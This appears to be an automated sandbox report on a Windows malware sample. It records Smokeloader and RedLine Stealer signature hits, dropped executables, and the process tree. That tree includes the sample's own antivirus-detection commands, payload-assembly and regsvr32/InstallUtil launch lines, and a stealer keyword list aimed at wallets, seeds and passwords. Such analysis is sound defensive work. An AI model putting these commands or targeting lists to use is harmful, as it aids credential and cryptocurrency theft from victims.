Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D04304C	21_2_00007FF73D04304C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D078970	21_2_00007FF73D078970
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D06C98C	21_2_00007FF73D06C98C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D082990	21_2_00007FF73D082990
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0ECC40	21_2_00007FF73D0ECC40
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D05EC74	21_2_00007FF73D05EC74
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0EECD0	21_2_00007FF73D0EECD0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0BE64C	21_2_00007FF73D0BE64C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D06C6C0	21_2_00007FF73D06C6C0
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0F28FC	21_2_00007FF73D0F28FC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0C28FC	21_2_00007FF73D0C28FC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D67CC	21_2_00007FF73D0D67CC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0E07BC	21_2_00007FF73D0E07BC
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D06C444	21_2_00007FF73D06C444
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D06433C	21_2_00007FF73D06433C
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0D43D8	21_2_00007FF73D0D43D8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe ACEE0678E7B8E07828826E0C2C8244357FCE25FF63D823EB987E25CF2494A6D3

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: String function: 00007FF73D0692E8 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: String function: 0041A290 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Code function: String function: 0040476F appears 44 times

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 2736 -ip 2736

Source: 1600.exe.1.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: Zoo.8.dr

Static PE information: No import functions for PE file found

Source: Zoo.8.dr

Static PE information: Data appended to the last section found

Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Section loaded: windows.internal.shell.broker.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: csunsapi.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: swift.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: nfhwcrhk.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: surewarehook.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: csunsapi.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: aep.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: atasi.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: swift.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: nfhwcrhk.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: nuronssl.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: surewarehook.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: ubsec.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: aep.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: atasi.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: swift.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: nfhwcrhk.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: nuronssl.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: surewarehook.dll
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Section loaded: ubsec.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: csunsapi.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: swift.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: nfhwcrhk.dll
Source: C:\ProgramData\Drivers\csrss.exe	Section loaded: surewarehook.dll

Source: 987123.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 30.0.E35F.exe.db8096.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 42.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 30.0.E35F.exe.db8096.1.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 30.0.E35F.exe.d30000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 49.0.FD8E.exe.3e0000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector
Source: 25.0.9D1E.exe.fb0000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_EXE_Packed_DotNetReactor author = ditekSHen, description = Detects executables packed with unregistered version of .NET Reactor
Source: 00000023.00000002.2438435687.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000022.00000002.2578542876.00000000005F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000022.00000002.2579381005.0000000000730000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000D.00000002.2101613794.0000000002735000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000022.00000002.2578790306.0000000000611000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1708892086.0000000000730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1708988921.0000000000751000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 0000001F.00000002.2469988089.0000000002C00000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1984144647.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000023.00000002.2438465954.00000000004D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000023.00000002.2438711950.000000000063D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1708692549.0000000000720000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000003.00000002.1987664254.00000000006EC000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000002A.00000002.2865725310.00000000033A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: 00000023.00000002.2438798088.0000000001FC1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000000.00000002.1709555486.000000000080D000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000003.00000002.1984120576.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000003.00000002.1988409529.00000000020D1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000022.00000002.2578412540.00000000005E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: Process Memory Space: InstallUtil.exe PID: 5544, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: C:\Users\user\AppData\Local\Temp\E35F.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe, type: DROPPED	Matched rule: INDICATOR_EXE_Packed_DotNetReactor author = ditekSHen, description = Detects executables packed with unregistered version of .NET Reactor
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe, type: DROPPED	Matched rule: MALWARE_Win_DLInjector04 author = ditekSHen, description = Detects downloader / injector

Source: 987123.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 4577.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 5390.exe.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: wehjbuw.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: ufhjbuw.1.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: csrss.exe.24.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 35E5.dll.1.dr	Static PE information: Section: .CRT ZLIB complexity 0.9986780201027055
Source: 2DF.exe.1.dr	Static PE information: Section: fkgjuy7 ZLIB complexity 0.99775390625

Source: E35F.exe.1.dr, --.cs	Cryptographic APIs: 'CreateDecryptor'
Source: E35F.exe.1.dr, --.cs	Cryptographic APIs: 'CreateDecryptor'
Source: E35F.exe.1.dr, --.cs	Cryptographic APIs: 'CreateDecryptor'
Source: E35F.exe.1.dr, --.cs	Cryptographic APIs: 'CreateDecryptor'

Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .txt .doc .docx .kdbx .rdp .pdf .loli .lolix .anom .cs .cpp .csproj
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: scan electrum metamask wallet phrase recover secret security code seed nft backup coin key pass password exodus trust binance huobi card cash money btc usdt eth bitcoin crypto mail gmail log kyc blochchain ledger.txt .doc .docx .kdbx .rdp .pdf .loli .lolix .anom .cs .cpp .csproj`,^q
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ix .anom .cs .cpp .csproj
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: scan electrum metamask wallet phrase recover secret security code seed nft backup coin key pass password exodus trust binance huobi card cash money btc usdt eth bitcoin crypto mail gmail log kyc blochchain ledger.txt .doc .docx .kdbx .rdp .pdf .loli .lolix .anom .cs .cpp .csproj
Source: InstallUtil.exe, 0000002A.00000002.2865725310.00000000035BB000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000002A.00000002.2865725310.00000000033F7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: .csprojt-^q

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@85/54@13/20

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_00409BE6 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,lstrcpyW,lstrcpyW,lstrcpyW,LocalFree,

8_2_00409BE6

Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0AD940 AdjustTokenPrivileges,CloseHandle,		21_2_00007FF73D0AD940
Source: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif	Code function: 21_2_00007FF73D0AE22C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		21_2_00007FF73D0AE22C

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_004032B5 GetDiskFreeSpaceExW,SendMessageW,

8_2_004032B5

Source: C:\Users\user\Desktop\987123.exe

Code function: 0_2_0081019D CreateToolhelp32Snapshot,Module32First,

0_2_0081019D

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_004038DD SHGetSpecialFolderPathW,CoCreateInstance,

8_2_004038DD

Source: C:\Users\user\AppData\Local\Temp\3BD2.exe

Code function: 8_2_00404C1A GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,GetProcAddress,GetProcAddress,wsprintfW,GetProcAddress,

8_2_00404C1A

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\ufhjbuw

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6340:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \BaseNamedObjects\Local\SM0:5324:64:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\ejmrudbxvv
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3496:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2736
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\Protect544cd51a.dll
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1440:120:WilError_03

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Local\Temp\35E5.tmp

Jump to behavior

Source: 987123.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.tlb
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WerFault.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\E35F.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\b8493bec853ac702d2188091d76ccffa\mscorlib.ni.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\FD8E.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a403a0b75e95c07da2caa7f780446a62\mscorlib.ni.dll

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT Name FROM Win32_Processor

Source: C:\Windows\explorer.exe

File read: C:\Users\user\Searches\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\987123.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 987123.exe	ReversingLabs: Detection: 45%
Source: 987123.exe	Virustotal: Detection: 47%

Source: unknown	Process created: C:\Users\user\Desktop\987123.exe C:\Users\user\Desktop\987123.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\ufhjbuw C:\Users\user\AppData\Roaming\ufhjbuw
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user\AppData\Local\Temp\35E5.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user\AppData\Local\Temp\35E5.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\3BD2.exe C:\Users\user\AppData\Local\Temp\3BD2.exe
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\3BD2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k cmd < Advancement & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\4577.exe C:\Users\user\AppData\Local\Temp\4577.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c mkdir 15372
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Zoo + Viewers + Bow + Contractors + Protection + Desk + Kinds 15372\Far.pif
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Payday + Corporate + Spain 15372\i
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif 15372\Far.pif 15372\i
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif C:\Users\user\AppData\Local\Temp\7ZipSfx.000\15372\Far.pif
Source: C:\Users\user\AppData\Local\Temp\4577.exe	Process created: C:\Users\user\AppData\Local\Temp\4577.exe C:\Users\user\AppData\Local\Temp\4577.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9D1E.exe C:\Users\user\AppData\Local\Temp\9D1E.exe
Source: C:\Users\user\AppData\Local\Temp\9D1E.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
